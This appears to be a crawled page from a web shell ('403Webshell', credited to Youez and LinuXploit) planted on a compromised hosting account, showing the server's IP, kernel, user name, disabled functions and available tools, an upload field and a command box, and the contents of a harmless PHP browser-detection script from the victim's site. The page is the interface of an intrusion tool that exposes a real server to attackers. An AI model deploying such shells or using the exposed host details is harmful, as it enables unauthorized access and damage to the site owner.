403Webshell
Server IP : 192.249.121.117  /  Your IP : 216.73.216.251
Web Server : Apache
System : Linux ded4606.inmotionhosting.com 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64
User : oakben5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/oakben5/public_html/docsearch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/oakben5/public_html/docsearch/btest.php
<?PHP

class OS_BR{



    private $agent = "";

    private $info = array();



    function __construct(){

        $this->agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : NULL;

        $this->getBrowser();

        $this->getOS();

    }



    function getBrowser(){

        $browser = array("Navigator"            => "/Navigator(.*)/i",

                         "Firefox"              => "/Firefox(.*)/i",

                         "Internet Explorer"    => "/MSIE(.*)/i",

                         "Google Chrome"        => "/chrome(.*)/i",

                         "MAXTHON"              => "/MAXTHON(.*)/i",

                         "Opera"                => "/Opera(.*)/i",

                         );

        foreach($browser as $key => $value){

            if(preg_match($value, $this->agent)){

                $this->info = array_merge($this->info,array("Browser" => $key));

                $this->info = array_merge($this->info,array(

                  "Version" => $this->getVersion($key, $value, $this->agent)));

                break;

            }else{

                $this->info = array_merge($this->info,array("Browser" => "UnKnown"));

                $this->info = array_merge($this->info,array("Version" => "UnKnown"));

            }

        }

        return $this->info['Browser'];

    }



    function getOS(){

        $OS = array("Windows"   =>   "/Windows/i",

                    "Linux"     =>   "/Linux/i",

                    "Unix"      =>   "/Unix/i",

                    "Mac"       =>   "/Mac/i"

                    );



        foreach($OS as $key => $value){

            if(preg_match($value, $this->agent)){

                $this->info = array_merge($this->info,array("Operating System" => $key));

                break;

            }

        }

        return $this->info['Operating System'];

    }



    function getVersion($browser, $search, $string){

        $browser = $this->info['Browser'];

        $version = "";

        $browser = strtolower($browser);

        preg_match_all($search,$string,$match);

        switch($browser){

            case "firefox": $version = str_replace("/","",$match[1][0]);

            break;



            case "internet explorer": $version = substr($match[1][0],0,4);

            break;



            case "opera": $version = str_replace("/","",substr($match[1][0],0,5));

            break;



            case "navigator": $version = substr($match[1][0],1,7);

            break;



            case "maxthon": $version = str_replace(")","",$match[1][0]);

            break;



            case "google chrome": $version = substr($match[1][0],1,10);

        }

        return $version;

    }



    function showInfo($switch){

        $switch = strtolower($switch);

        switch($switch){

            case "browser": return $this->info['Browser'];

            break;



            case "os": return $this->info['Operating System'];

            break;



            case "version": return $this->info['Version'];

            break;



            case "all" : return array($this->info["Version"], 

              $this->info['Operating System'], $this->info['Browser']);

            break;



            default: return "Unkonw";

            break;



        }

    }

}

// using

// create an new instant of OS_BR class

$obj = new OS_BR();

//if you want to show one by one information then try showInfo() function

// get browser

echo $obj->showInfo('browser');

// get browser version

echo $obj->showInfo('version');

// get Operating system

echo $obj->showInfo('os');

// get all information and it returns an array

echo "<pre>".print_r($obj->showInfo("all"),true)."</pre>";

?>

Youez - 2016 - github.com/yon3zu
LinuXploit